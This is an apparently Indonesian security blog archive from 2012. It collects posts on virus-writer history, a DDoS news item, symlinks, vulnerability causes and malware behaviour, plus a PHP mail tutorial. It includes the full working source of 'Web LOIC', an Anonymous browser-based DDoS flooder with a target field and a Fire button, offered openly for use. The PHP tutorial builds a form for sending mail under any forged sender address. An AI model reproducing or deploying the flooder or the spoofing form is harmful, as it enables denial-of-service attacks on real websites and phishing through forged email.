Sama seperti virus biologi, virus komputer adalah program yang dapat membelah diri dengan sendirinya yang dapat menyebar dengan cara mengcopy atau meperbanyak diri ke program aplikasi atau dokumen pada umumnya. Selain itu, virus juga dapat menginfeksi registry maupun mengatur penjadwalan untuk berkembang biak. Secara analogi, process masuknya virus ke dalam program dinamakan 'Infeksi' dan infeksi pada file(atau kode EXE yang bukan bagian dari file) dinamakan 'host'. Virus adalah satu dari beberapa software jahat atau "malware". Dalam bahasa biasa, istilah virus sering di samakan dengan worms, trojan, dan lainnya. Sebagian virus yang menyebapkan proses komputer menjadi lambat bisa disebut sebagai 'BOM'. Sebagai contoh, virus memungkinkan anda utnuk menampilkan pesan dalam kurun waktu tertentu atau menunggu sampai virus tersebut menginfeksi beberapa host (dalam jaringan). 'Bom Waktu' terjadi dalam selang waktu tertentu dan 'Bom Logic' terjadi ketika pengguna komputer mengambil program yang merupakan alat picu bom.

Sebenarnya, Virus komputer tersebut tidak berkembang dengan sendirinya. Di balik perkembangan virus komputer ternyata ada banyak orang yang mempelopori perkembangannya, mereka yang mengembangkan teknik2 baru dalam pemrograman virus komputer, maupun trik2 pemrograman virus tersebut.

Mereka yang mengembangkan virus komputer antara lain :

a. Fred Cohen

    Dimulainya abad perang virus komputer dunia, yaitu sekitar tahun 1980-an, bermula atas pemaparan Fred Cohen, seorang peneliti dan assisten professor di universitas cicinati, ohio. dalam pemaparannya, fred juga mendemonstrasikan sebuah program ciptaannya. Suatu virus yang dapat menyebar secara cepat pada sejumlah komputer.

Banyak di antara para ahli yang menyalahkan kehadiran fred tersebut, tetapi banyak juga yang menyatakan bahwa sebenarnya virus telah ada jauh sebelumnya walaupun tidak di ketahui kehadirannya.

b. Mark Ludwig

    Sekitar tahun 1988, Mark Ludwig, yaitu seorang lulusan MIT dengan gelar PhD, mengenal sebuah program yang berjangkit dan beroprasi tak terkendali di dalam komputer yang menjadi mata pencarianynya. Mark Ludwig berpendapat bahwa program itu (virus) memiliki ciri khas seperti makhluk hidup, dan menganggapnya sebgai suatu misteri alam. Mark Ludwig berusaha mengungkap rahasia alam tersebut. Awal dari usahanya untuk mendapatkan contoh virus untuk di teliti sangat sulit. Usaha Ludwig untuk mendakati perusahaan antivirus guna mengakses koleksi virus mereka gagal. Akhirnya, Ludwig memutuskan untuk bekerja sendiri.

ia mendirikan BBS dan memberi imbalan US$25 untuk setiap virus yang terupload. upaya itu membuahkan hasil, dan berakhir dengan lahirnya buku tulisan sendiri, "The Little Black Boo Of Virus", buku tersebut banyak mendapat kecaman publik, tetapi Ludwig tetap meneruskan penelitiannya kembali dan kembali menerbitkan bukunya "The Little Black Boo Of Virus: The Aforemtioned Computer Virus, Artifical Life, and Evolution", yang di terbitkan tahun 1993. Mark Ludwig juga menciptakan sebuah program "Darwin Genetic Mutation Engine", yaitu sebuah program bantu yang mengubah virus DOS apa saja menjadi sangat canggih karena memiliki kemampuan untuk imunisasi dan bermutasi sehingga tidak terdeteksi antivirus.

c. Tom Ray

    Tom Ray adalah seorang Ekologis Universitas Delaware, dan menuntut ilmu di Advanced Telecommunication Research Institute International di Kyoto, Jepang. Ia menghilang dari hadapan publik, memasuki hutan belantara costa rica untuk melakukan penelitian. Setelah 2 tahun melakukan penelitian, pada tahun 1989 Ray melakukan pekerjaan penting dalam hidupnya, yaitu penelitian yang mengubah kariernya. Ia menciptakan Virus Komputer, persisnya meciptakan WORM, sebuah istilah program komputer yang dapat memperbanyak dan mengeksekusi dirinya tanpa bergantung pada program induk yang di tumpangi. Dalam Melakukan penelitian terhadap virusnya ray menciptakan sebuah lingkungan digital pada labnya, yang di namakan "Tierra" (Bahasa spanyol uttuk bumi), dan mulai menciptakan penghuninya yang di namakan "The Ancestor". Makhluq itu adalah worm pertama yang di ciptakan ray yang berupa kode bahasa mesin berukuran 80 byte dengan kemampuan memperbanyak di rinya sendiri. Saat di lepas dalam lingkungan Tierra, makluk itu segera menyebar dengan cepat dalam satuan menit saja, dan telah menghasilkan varian baru yang hanya berukuran 79 byte, lebih kecil dari pada pendahulunya. Setelah beberapa lama ray menemukan banyak varian baru keturunan "The ancestor", yaitu berukuran lebih kecil, 45,51 bahkan 22 byte. mahluk berukuran 45-51 tersebut bukan lagi worm. mereka sudah berbentuk virus parasit yang memanfaatkan kode2 produksi dari program lain yang lebih besar. Pada tahun 1994, ray memiliki ide baru untuk melepaskan Worm ciptaannya ke dalam global network, yang dituangkan ke dalam sebuah dokumen yang berjudul "A Proposal To Create a Network-Wide Biodiversity Reserve for Digital Organism", yang berisikan penjabaran untuk mempercepat Evolusi di dalam Tierra.

d. HellRaiser

    Seorang pembuat virus Komputer berumur sekitar 20 tahunan di ketahui hidup dari cek pengangguran dan tinggal di kawasan pemukiman pekerja kulit putih di kawasan new york. Ia cenderung menghabiskan waktunya di arena video game setempat. Namun, tidak ada satupun orang yang mengetahui nama aslinya. Satu2 nya keahliannya tercermin dari julukannya yang sudah di kenal luas dalam dunia komputer bawah tanah, HellRaiser.

HellRaiser adalah pendiri kelompok pembuat virus dunia bernama Phalkon/Skism. Ia juga pencipta 40Hex, sebuah tipe pemrograman virus yang di anggap brilian, suatu program virus siap pakai. HellRaiser menganggap virus adalah suatu bentuk grafity elektronis. Hal itu tidaklah mengherankan karena pada masa mudanya HellRaiser bekerja sebagai seorang tenaga ahli bidang grafity di new york. Pertama kali HellRaiser mendalami pembuatan virus komputer adalah dengan cara mendapatkan kode2 virus yang bernama "Virus-Exchange". Namun, kurangnya dana untuk masuk ke dalam virus exchange membuatnya melakukan manufer alternatif dengan meneliti dan mempelajari contoh virus jarusalem yang menginfeksi komputernya. Setelah pengamatan dan penelitian selama berminggu2, lahirlah virus pertamanya yang bernama "SKISM-1". Namun, HellRaiser belum merasa puas karena virusnya itu hanyalah hasil modifikasi dari virus jarusalem sehingga ia kembali mempelajari dan mendalami bahasa assembly DOS, dan mulai mengenalkan virusnya serta menyebarkan tekniknya ke kalangan Underground New York melalui layar BBS Hack/Phreak, dan berkomunikasi dengan pembuat virus lainnya yang tergabung dalam kelompok Legions Of Dooms, MOD, dan Chaos Club. Kemudian,HellRaiser mulai mendirikan grubnya sendiri yang bernama SKISM (Smart Kids Into Sick Method) yang bertujuan untuk memperdalam keahlian para anggotanya dalam mebuat virus. Grub itu mulai menyebarkan virus 40Hex buatannya ke Virus Exchange. Teknik 40Hex diperkenalkan pada bulan Mei 1991.

Setelah beberapa tahun, SKISM mulai bergabung dengan kelompok lain di New York, PHALCON, dan membentuk super grub Phalcon/Skism. juga telah bergabung beberapa kelompok lain seperti NUKE(Koalisi antara Kanada,Australia,Swiss,Taiwan) dan muncul grub2 lain seperti Trident dari eropa dan kelompok Zines, Setelah itu, perkembangan Virus Komputer Semakin meluas di dunia.

Sehabis masa2 pelopor pembuat virus komputer tersebut, baru bermunculan pembuat virus dari berbagai negara. Indonesia termasuk salah satunya. Teknologi pembuatan virus komputer semakin berkembang dikarenakan banyak virus yang di modifikasi dengan teknologi baru demi menghindari scanning AntiVirus. banyak program2 generator untuk virus yang disebarkan secara luas, yang dapat membuat virus instan/virus yang langsung jadi, tanpa pembuatnya mengerti tentang assembly, contohnya "virus creation laboratory" (VCL) yang di buat oleh Nohware Man, salah seorang anggota NUKE, "Phalcon/Mass Production Code Generator" (PS-MPC) dari Phalcon/Skism, "Instant Virus Production Kit" (IVP) dari Admiral Baily, seorang anggota YAM (Youngster Against McAfee), dan lain sebagainya, yang turut mengembangkan dan memperluas perkembangan virus komputer dunia.

source: book "the art of ASSEMBLY LANGUAGE: konsep dan aplikasi bahasa assembly" by Tintin Chandra

Hacktivists use new tactic to take down websites

2012-10-09T02:44:00.003-07:00

Unfortunately, there are still some out there that do not have quality application control software in place to protect themselves from the full range of attacks they may face. However, a new style of cyber attack has the potential to stymie even the highest quality layered security system.
Distributed denial-of-service attacks (DDoS) have been around for over a decade, and are an easy way for hacktivists and cybercriminals to temporarily take down a website. In a DDoS attack, hackers use servers to send lots of fake connection requests to a website. Since each connection is a dupe, the hosting server cannot find the computer and thus spends time continually looking for an endpoint. This overwhelms the hosting server, which can degrade website performance or even take it offline entirely, according to CNET.
However, CSO reported that cyber security experts have become much better at targeting and taking down DDoS attacks. That’s because in the past many attacks came through a number of infected servers known as a botnet. Once the servers were detected, they could be taken offline, thus ending the threat.
A new breed of DDoS emerges
A hacktivist group recently found a way to launch a DDoS attack without the need for a botnet, taking the websites of five major U.S.-based banks offline as a result in the past few weeks. Instead of using a central hub, the Izz ad-Din al-Qassam Cyber Fighters have targeted websites using a more scattered approach that is more difficult to detect, CSO reported.
The group on recruits who are instructed to download a program available at two different peer-to-peer file sharing websites. Once the program is on a machine, users can start the program with just one click and then continuously send fraudulent server requests. While it is relatively easy to detect a botnet, it is much more difficult for websites to determine a genuine connection request versus one sent via this program since, to the host server, both look like commands coming from ordinary home networks, according to CSO.
Using this DDoS method, the group has temporarily taken down the websites of Bank of America, Wells Fargo, JPMorgan Chase, Citigroup and U.S. Bank. The group says it is targeting the banks in retaliation for a YouTube video that mocks the Islamic faith.

Source : http://www.faronics.com/2012/hacktivists-use-new-tactic-to-take-down-websites/

Sekilas Tentang Symlink

2012-09-16T21:57:00.001-07:00

Tautan simbolis (bahasa Inggris: Symbolic link, sering disingkat menjadi Symlink atau sering juga dikenal sebagai soft link), dalam ilmu komputer merujuk kepada sebuah jenis berkas yang bertindak sebagai referensi ke berkas lainnya atau direktori. Beberapa sistem operasi yang menyerupai sistem operasi UNIX sering memiliki fitur tautan simbolis.
Tidak seperti tautan keras (hard link), symbolic link tidak secara langsung menunjuk kepada data, tetapi hanya mengandung path simbolis yang digunakan oleh sistem operasi untuk mengenali sebuah tautan keras atau tautan simbolis lainnya. Sehingga ketika seorang pengguna membuat sebuah tautan simbolis, berkas yang dirujuknya tetap tidak terpengaruh oleh apa yang dilakukan pengguna. Bandingkan dengan tautan keras, jika memang pengguna membuangnya, maka hal tersebut dapat berakibat pada penghapusan berkas tersebut jika memang berkas tersebut tidak memiliki tautan keras lagi.
Beberapa sistem dapat menggunakan tautan simbolis untuk merujuk kepada berkas-berkas meskipun berada di dalam sistem berkas yang dikaitkan ke lokasi yang berbeda dengan sistem berkas yang sekarang digunakan (contoh /dev/hda1 merujuk ke /dev/hda2). Bandingkan dengan tautan keras, yang hanya dapat digunakan dalam cakupan sistem berkas fisik yang sama (contoh tautan keras pada /dev/hda1 harus terdapat pada /dev/hda1 juga).
Dalam konsep tautan simbolis, istilah "orphan link" atau "yatim" digunakan untuk merujuk kepada tautan simbolis yang tidak memiliki target.
Tautan simbolis juga beroperasi secara transparan, sehingga implementasinya tidak terlihat oleh aplikasi atau
pengguna. Ketika sebuah program membuka, membaca, atau menulisi sebuah tautan simbolis, sistem operasi akan mengalihkan apa yang dilakukan oleh pengguna kepada target tautan simbolis tersebut secara otomatis. Akan tetapi, memang terdapat beberapa fungsi yang mampu mendeteksi keberadaan tautan simbolis, sehingga aplikasi dapat menemukannya dan memanipulasinya.
Pengguna harus sangat berhati-hati dalam merawat tautan simbolis. Tidak seperti tautan keras, jika target tautan simbolik terhapus, maka data akan hilang dan semua pranala ke berkas atau direktori tersebut menjadi orphan link. Akan tetapi, menghapus sebuah symbolic link tidak memiliki pengaruh terhadap target.

Contoh penggunaan

Untuk membuat sebuah tautan simbolis dalam sistem operasi UNIX, gunakan perintah di bawah ini dari command-line UNIX:

ln -s Sumber_berkas Berkas_baru

Ganti Sumber_berkas dengan nama berkas atau direktori yang telah ada yang hendak kita buat tautan simbolis terhadapnya (berkas ini dapat berada di mana saja, melewati batas sistem berkas fisik). Ganti Berkas_baru dengan nama tautan simbolis yang hendak dibuat. Perintah ln akan membuatkan tautan simbolis. Setelah kita membuat tautan simbolis dengan perintah di atas, kita dapat melakukan beberapa operasi seperti membaca, menulisi, atau mengeksekusi Berkas_baru, seolah-olah kita sedang bekerja dengan Sumber_berkas. Kita juga dapat menggunakan perintah-perintah manajemen berkas (seperti cp, rm atau perintah lainnya) terhadap tautan simbolis.

Tempat penyimpanan tautan simbolis

Implementasi awal dari tautan simbolis cenderung menyimpan informasi tautan simbolis di dalam blok disk standar, seperti halnya berkas biasa. Berkas tersebut mengandung referensi tekstual kepada target yang dituju oleh pranala tersebut, dan sebuah indikator bahwa ia adalah tautan simbolis.
Penggunaan cara seperti ini ternyata tidak cukup bagus dan memiliki kinerja yang lambat, dan juga terjadi banyak ruangan disk yang terbuang percuma dalam sistem-sistem yang kecil. Akhirnya sebuah inovasi yang dikenal sebagai fast symlink mengizinkan penyimpanan teks pranala di dalam struktur data standar yang juga digunakan untuk menyimpan informasi berkas di dalam disk (index node atau inode). Ruangan ini pada umumnya bertindak sebagai tempat penyimpanan rantai blok-blok disk yang membentuk sebuah berkas (berukuran 60 bita di dalam Unix File System). Dengan begitu, pengguna pun dapat merujuk kepada tautan simbolis secara lebih cepat. Sistem-sistem dengan fast symlink akan menggunakan metode yang lama jika nama path dan nama berkas yang disimpan di dalam symlink melebihi ruangan yang tersedia di dalam inode, atau untuk kompatibilitas ke belakang dengan sistem operasi versi lama atau sistem operasi lainnya. Penggunaan cara pertama yang disebutkan di atas telah dikenal menjadi istilah Slow Symlink.
Meskipun menyimpan nilai pranala di dalam inode menghemat blok disk dan mengurangi pembacaan hard disk, sistem operasi masih harus menerjemahkan informasi nama path yang terkandung di dalam link, yang selalu membutuhkan pembacaan inode tambahan dan umumnya membutuhkan pembacaan terhadap banyak direktori, yang kemudian memproses daftar berkas dan inode setiap berkas hingga sistem operasi menemukan kecocokan dengan nama path yang dirujuk. Fast symlink akan menunjukkan peningkatan performa yang signifikan hanya ketika sebuah pranala menunjuk ke sebuah berkas di dalam direktori yang sama.

Source : http://id.wikipedia.org/wiki/Tautan_simbolis

Penyebab Vulnerability

2012-09-12T02:33:00.002-07:00

Penelitian menunjukkan bahwa titik-titik vulnerability di dalam sebuah sistem informasi biasanya berasal dari user, perancangan sistem dan device yang digunakan oleh sistem itu sendiri.

faktor munculnya vulnerability

Munculnya vulnerability sendiri dapat disabapkan oleh beberapa faktor, berikut diantaranya...

> Kompleksitas
    Kompleksitas merupakan salah satu penyebap munculnya vulnerability, sistem yang komplek dan besar dapat meningkatkan kemungkinan munculnya vulnerability yang semakin tinggi dan dapat menimbulkan masalah baru yaitu munculnya jalur akses yang tidak diinginkan ke dalam sistem.

> Familiaritas
    Familiaraitas dapat menimbulkan munculnya vulnerability, karena semakin sering interaksi terjadi pada sistem akan membuat seseorang mempelajari kelemahan2 yang terdapat di dalam sistem.

> Koneksifitas
    Terkoneknya sebuah sistem yang lama dengan sistem yang baru seperti hardware, jaringan dan lainnya dapt memunculkan vulnerability pada sistem yang aman, karena kemungkinan sistem baru yang terkoneksi
ke dalamnya terdapat kelemahan yang mungkin dapat di exploitasi.

> Password management flaws
    Password management flaws terjadi karena pengguna komputer menggunakan password yang bisa ditemukan lewat bruteforce, pengguna komputer menyimpan password pada komputer di mana seseorang dapat mengaksesnya dengan mudah, user atau pengguna komputer menggunakan password yang sama pada banyak program dan website.

> Operating system flaws
    Kelemahan yang dimiliki oleh sebuah system, yang berasal dari desaign sistem operasi dan fitur-fiturnya yang ada sejak awal.

> Internet website browsing
    Beberapa situs internet ,mungkin berbahaya karena terdapat spyware dan adware yang dapat diinstall secara otomatis pada sistem komputer. Biasanya spyware atau backdoor di tanam ke dalam sistem operasi user melalui kelemahan yang ada di dalam browser user.

> Sofware Bugs
    Seorang programmer terkadang meninggalkan bug atau celah yang dapat di exploitasi dalam aplikasi yang di buatnya. Bug pada software dapat memungkinkan penyerang untuk penyalah gunaan aplikasi serta mengambil keuntungan dari celah keamanan yang ada.

> Unchecked User input
    Terkadang aplikasi tidak memiliki sanitasi atau penyaring bagi data yang dimasukkan oleh user. Sebagai contoh adalah sql injection yang biasanya dimasukkan melalui user input yang ada pada form di halaman web... ^_^

Tingkah Laku Malware

2012-09-12T02:27:00.005-07:00

Pada umumnya malware memiliki pola penyebaran/penginfeksian melaui beberapa cara, seperti: email attachment, script dari halaman web, link dalam halaman web yang berupa file yang siap di install, melakukan exploitasi bug pada sistem operasi, USB drive, file sharing, serta aplikasi bajakan yang telah ditanami loader malware.

Secara umum kinerja malware di dalam sebuah sistem yang telah terinfeksi dapat di kelompokkan menjadi 2, yaitu aktifitas malware pada sistem dan aktifitas pada jaringan, dengan mengetahui tingkah laku umum malware pada sistem jaringan, maka memungkinakan untuk melakukan analisa secara mendalam pada malware

Sistem

Setelah berhasil melakukan infeksi pada sebuah sitem. Malware umumnya aikan melakukan beberapa "kegiatan" rutin pada sistem yang telah berhasil di infeksi. Berikut adalah beberapa contoh kegiatan malware pada sebuah sistem:

> menggandakan diri sebanyak banyaknya pada sistem yang terinfeksi, dengan tujuan untuk saling melindungi antara proses malwara satu dengan proses malware lainnya.
> menyamarkan diri, dengan melakukan kamuflase pada sistem, seperti menginfeksi file pada sistem utama aplikasi, mengubah attribut file yang sudah terinfeksi dan attribut malware itu sendiri.
> pada sistem windows, malware akan melakukan konfigurasi pada registry, sehingga malware dapat
mengontrol alur kerja sistem operasi dan aplikasi yang berjalan di dalamnya.
> membuat proses baru pada sistem, berupa service yang berjalan di bakground process pada sistem informasi
> mematikan service-service standart pada sitem, dan menggantikannya dengan service palsu yang telah terinfeksi oleh malware
> menyisipkan file system palsu yang nantinya akan di load oleh system aplikasi, seperti .dll .sys .so

jaringan

selain melakukan kegiatan yang berhubungan dengan sistem, sebuah malware setelah menginfeksi sebuah system biasanya juga melakukan aktivitas yang berhubungan dengan jaringan. Aktivitas umum sebuah malware yang berhubungan dengan jaringan di antaranya:

> mencoba untuk melakukan exploitasi pada service tertentu yang berhubungan dengan jaringan,
> mengirimkan informasi pada pembuat malware melalui jaringan
> mengontrol alur data sebuah system dari dan kedalam jaringan
> menyimpan komunikasi data yang berada dalam jaringan... ^_^

Apa Itu Malware...?

2012-09-12T02:21:00.001-07:00

Malware merupakan singkatan dari malicinous software, yaitu sebuah sebutan bagi software yang di design sedemikian rupa agar dapat menyusup ke dalam sebuah sistem komputer tanpa di ketahui pemilik sistem, dimana dalam software tersebut terdapat perintah-perintah khusus, seperti menyebarkan virus, trojan, worm, atau memasang backdoor. Secara umum dapat dikatakan bahwa, malware merupakan aplikasi yang dapat atau akan membuat celah pada keamanan sebuah sistem komputer.

Pada awal perkembangannya, banyak aplikasi malware seperti worm dan virus yang di buat hanya untuk tujuan lelucon saja, namun dalam beberapa kasus, pembuat malware tersebut tidak menyadari seberapa besar kerugian yang di dapatkan pengguna gara2 ciptaan mereka. Para programer muda yang belajar mengenai virus dan tehnik yang di gunakan untuk menulisnya, semata-mata belajar untuk membuktikan kemampuan atau untuk melihat seberapa jauhnya perangkat lunak tersebut dapat menyebar.

Dalam banyak kasus, program malware yang berisi perintah-perintah mematikan banyak ditemukan berkeliaran di dalam jaringan publik, eberapa di antaranya mengakibatkan kerusakan serius pada data bahkan hingga pada terhapusnya data dari system. Malware yang melakukan perusakan pada sistem kebanyakan menyerang pada sistem operasi berbasis DOS dan Windows. Kebanyakan malware tersebut dirancang untuk menghancurkan file yang ada dalam hardisk, atau untuk merusak file system yang ada di dalam system operasi. Salah satu malware yang memiliki sifat perusak pada sistem adalah code red dan
ramen. Kedua malware ini melakukan deface masal pada halaman website yang servernya memiliki celah keamanan yang dapat di exploitasi oleh kedua malware tersebut.

Sejak meningkatnya penggunaan teknologi internet, para pembuat malwarepun mulai meningkatkan pola penyerangan dan penyebaran malware yang di buat. Salah satu yang digunakan adalah memanfaatkan komputer yang telah terinfeksi untuk mengirimkan pesan massal kepada pihak lain yang nantinya akan di jadikan host baru bagi malware. pesan yang terkirim biasanya pesan email iklan, pesan IM melalui aplikasi IM yang popular seperti Yahoo messanger. Bahkan beberapa malware di rancang untuk menjadikan host yang terinfeksi sebagai tempat untuk melakukan serangan DDoS massal terhadap sistem lain.

Kelompok malware lainnya adalah kelompok malware yang mengambil keuntungan financial dari korban yang sistemnya telah terinfeksi. Ada beberapa cara yang dapat dilakukan melware untuk menjebak korbannya agar mengirimkan uang kepada pembuat malware, diantaranya:
> memantau lalu lintas web browser dan menyusupkan halaman iklan atau halaman khusus yang akan mengarahkan ke dalam halaman produk si pemilik malware.
> memunculkan pesan palsu, bahwa sistem telah terinfeksi virus dan korban dapat menghapusnya dengan produk khusus yang hanya dapat dipesan pada pembuat malware.
> memantau apa saja yang diketikan pengguna ketika pengguna membuka situs2 penyimpanan uang online sehingga memungkinkan si pembuat malware mengetahui username dan passwornya dan mendapat keuntungan di dalamnya... ^_^

Send Email (PHP Tutorial)

2012-09-11T01:22:00.001-07:00

Untuk mengirim email dengan PHP syaratnya harus memiliki server SMTP (Simple Mail Transfer Protokol) yang berfungsi sebagai protokol untuk mengirimkan mail ke alamat tujuan... script untuk menuliskan email adalah :

Mail(Tujuan, Judul, Isi Mail, header, parameters);

Tujuan : alamat email penerima
Judul : judul email yang akan di kirim
Isi Mail : isi dari email
Header : header email
parameters : bersifat optional...

alamat pengirim dari email terletak pada header email... jadi disinilah unixnya... email pengirim bisa kita buat sesuka hati... ^_^ untuk lebih jelasnya perhatikan kode berikut...

<?php 
if ($_POST["penerima"]<>'') { 


$email_penerima = $_POST["penerima"]; 


$judul_email = $_POST["judul"]; 


$header_email = "From: ".$_POST["pengirim"]."\r\n"; 


$header_email .= "Reply-To: ".$_POST["pengirim"]."\r\n"; 


$header_email .= "Content-type: text/html; charset=iso-8859-1\r\n"; 


$isi_email = $_POST["pesan"];


mail($email_penerima, $judul_email, $isi_email, $header_email) or die ("Failure"); 

 echo"Email berhasil dikirim ke $email_penerima";


?>




<?php 


} else { 


?> 


<style type="text/css">

  <!--

  .style1 {

  font-family: "Blackletter686 BT";

  font-size: 80px;

  }

  -->

  </style>
<form name="form1" method="post" action="send_mail.php">

  <table width="80%" border="0">

  <caption>

  <span class="style1">Simple Send Mail By Ayrbyte</span>

  </caption>

  <tr>

  <td>Alamat Email Pengirim</td>

  <td><label for="pengirim"></label>

  <input type="text" name="pengirim" id="pengirim"></td>

  </tr>

  <tr>

  <td>Alamat Email Penerima</td>

  <td><label for="penerima"></label>

  <input type="text" name="penerima" id="penerima"></td>

  </tr>

  <tr>

  <td>Judul Email</td>

  <td><label for="judul"></label>

  <input type="text" name="judul" id="judul"></td>

  </tr>

  <tr>

  <td>Isi Email</td>

  <td><label for="pesan"></label>

  <textarea name="pesan" id="pesan" cols="45" rows="5"></textarea></td>

  </tr>

  <tr>

  <td>&nbsp;</td>

  <td><label for="SEND"></label>

  <input type="submit" name="SEND" id="SEND" value="Kirim"></td>

  </tr>

  </table>

  </form>


<?php 


}; 


?>

simpan dengan nama send_mail.php kemudian upload ke web server anda... kemudian tinggal di coba deh... ^_^

Download Source Code : https://www.facebook.com/download/202570533206657/Tutorial%20Kirim%20Email%20%28PHP%29.rar https://www.facebook.com/download/202570533206657/Tutorial%20Kirim%20Email%20%28PHP%29.rar

Free Ebook : The Art Of Assembly Language32bit edition

2012-08-28T01:56:00.000-07:00

Ebook Gratis... buat yang pingin belajar HLA atau High Level Assemblay... Lansung aja di download ni...
http://portal.aauj.edu/portal_resources/downloads/programming/assembly_language32bit_edition.pdf

Source Code Web Loic

2012-08-28T01:22:00.000-07:00

Langsung Aja Berikut Ini Source Code Web Loic Dari Anonymouse...

<html>
<head>
<STYLE type="text/css">
body {background-color : black; color: white; text-align: center; width: 550px; margin: auto;}
 </STYLE>
</head>
<body>
<script type="text/javascript">
    function setAttributeOnload(object, attribute, val) {
      if(window.addEventListener) {
        window.addEventListener("load",
          function(){ object[attribute] = val; }, false);
      } else {
        window.attachEvent('onload', function(){ object[attribute] = val; });
      }
    }
</script>
<div align="center">
<h1>DO NOT USE TOR !</h1>
<h2>By using TOR, you hit the Tor exit node, not the target! Do not use it !<br />
  <br />
</h2>
</div>
        <div align="center">
          <fieldset style="width: 100%; height: 100%;">
            <legend><span class="Estilo3"><strong>Step 1. Select Target: </strong></span></legend>
        <div align="center">URL:</div>
        </label>
        </strong></span>

        <div align="center"><br />
              <input name="Our target" id="targetURL" style="width: 100%;" value="http://www.target.com"/>
          </div>
        </fieldset>

  <div align="center">
    <fieldset style="width: 100%; height: 100%;">
      <legend><span class="Estilo3"><strong>Step 2. AIM YOUR CANNONS!</strong></span></legend>
      <button id="fireButton" style="background-color:red; border-color: rgb(255, 255, 255); width: 240px; height: 100px;"> <h1>Fire !</h1> </button>
    </fieldset>

  </div>
         <div align="center">

           <fieldset style="width: 100%; height: 100%;">
              <legend><span class="Estilo3">Optional. Attack Options </span></legend>

         <div align="center">Requests per second:</div>
         <label> 
         <div align="center">
           <input style="width: 40px;" id="rps" value="100" />
         </div>
         </label> 
         <label>
         <div align="center"><span class="Estilo3"><strong>Message:</strong></span><br />
             <input id="message" style="width: 100%;" value="We Are Legion ! Expect us !" />
         </div>
         </label>
    </fieldset>
           <div align="center">
             <fieldset style="width: 100%; height: 100%;">
                        <legend><span class="Estilo3">Attack status:</span></legend>
               <dl>
                        <dt><strong>Request:</strong></dt>
                 <dd class="Estilo2" id="requestedCtr">0</dd>
                 <dt><strong>Achieved:</strong></dt>
                 <dd class="Estilo3" id="succeededCtr">0</dd>
                 <dt><strong>Failed:</strong></dt>
                 <dd class="Estilo2" id="failedCtr">0</dd>
               </dl>
             </fieldset>
           </div>
         </div>
<div align="center">
  <script>
        (function () {
            var fireInterval;
            var isFiring = false;
            var currentTime = new Date()
            var lastSuccess = currentTime.getTime();

            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};

            var requestsHT = {}; // requests hash table, may come in handy later

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {
                                        if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
                                                return;
                                        } else { lastSuccess = currentTime.getTime();};

                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
                    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };
            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {

                    failedCtr++;
                    failedCtrNode.innerHTML = failedCtr;
                    succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser

                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);
                    isFiring = false;
                    this.innerHTML = "Fire Again!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop Shooting!";
                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
                        function FireIbero() {
                if (isFiring) {
                    clearInterval(fireInterval);
                    isFiring = false;
                    this.innerHTML = "Shoot Again!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";
                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };         })();
    </script>
</div>

</body>
</html>

Sekilas Tentang RFC

2012-08-28T01:00:00.002-07:00

Sekedar untuk tambahan pengetahuan anda, RFC adalah singkatan dari Request for Comments, yaitu seri dokumen informasi dan standar internet bernomor yang di ikuti secara luas oleh perangkat lunak untuk digunakan dalam jaringan, internet, dan beberapa sistem operasi jaringan, mulai dari Unix, Windows, dan Novell NetWare. RFC kini diterbitkan di bawah arahan Internet Society (ISOC) dan badan-badan penyusu-standar teknisnya, seperti Internet Engineering Task Force (IETF) atau Internet Research Task Force (IRTF). Semua standar internet dan juga TCP/IP selalu dipublikasikan dalam RFC, meskipun tidak semua RFC mendefinisikan standar internet

Berikut ini adalah daftar RFC yang umum di gunakan

RFC 768 User Datagram Protocol
RFC 791 Internet Protocol
RFC 792 Control message protocol
RFC 793 Transmission Control Protocol
RFC 821 Simple Mail Transfer Protocol, digantikan RFC 2821

RFC 822 Format e-mail, digantikan RFC 2822
RFC 826 Address resolution protocol
RFC 894 IP melalui Ethernet
RFC 951 Bootstrap Protocol
RFC 959 File Transfer Protocol
RFC 1034 Domain Name System – konsep
RFC 1035 DNS – implementasi
RFC 1122 Syarat-syarat Host I
RFC 1123 Syarat-syarat Host II
RFC 1191 Penemuan Path MTU
RFC 1256 Penemuan router
RFC 1323 TCP dengan kemampuan tertinggi
RFC 1350 Trivial File Transfer Protocol
RFC 1403 Interaksi BGP OSPF
RFC 1459 Protokol Internet Relay Chat
RFC 1498 Diskusi arsitektur
RFC 1518 Alokasi alamat CIDR
RFC 1519 CIDR
RFC 1591 Domain Name Structure/DNS
RFC 1661 Point-to-Point Protocol
RFC 1738 Uniform Resource Locator
RFC 1771 A Border Gateway Protocol 4
RFC 1772 Aplikasi BGP
RFC 1789 Telepon melalui Internet (digantikan VoIP)
RFC 1812 Syarat-syarat bagi router IPv4
RFC 1889 Real-Time transport
RFC 1905 Simple network management protocol
RFC 1907 MIB
RFC 1918 “Network 10″
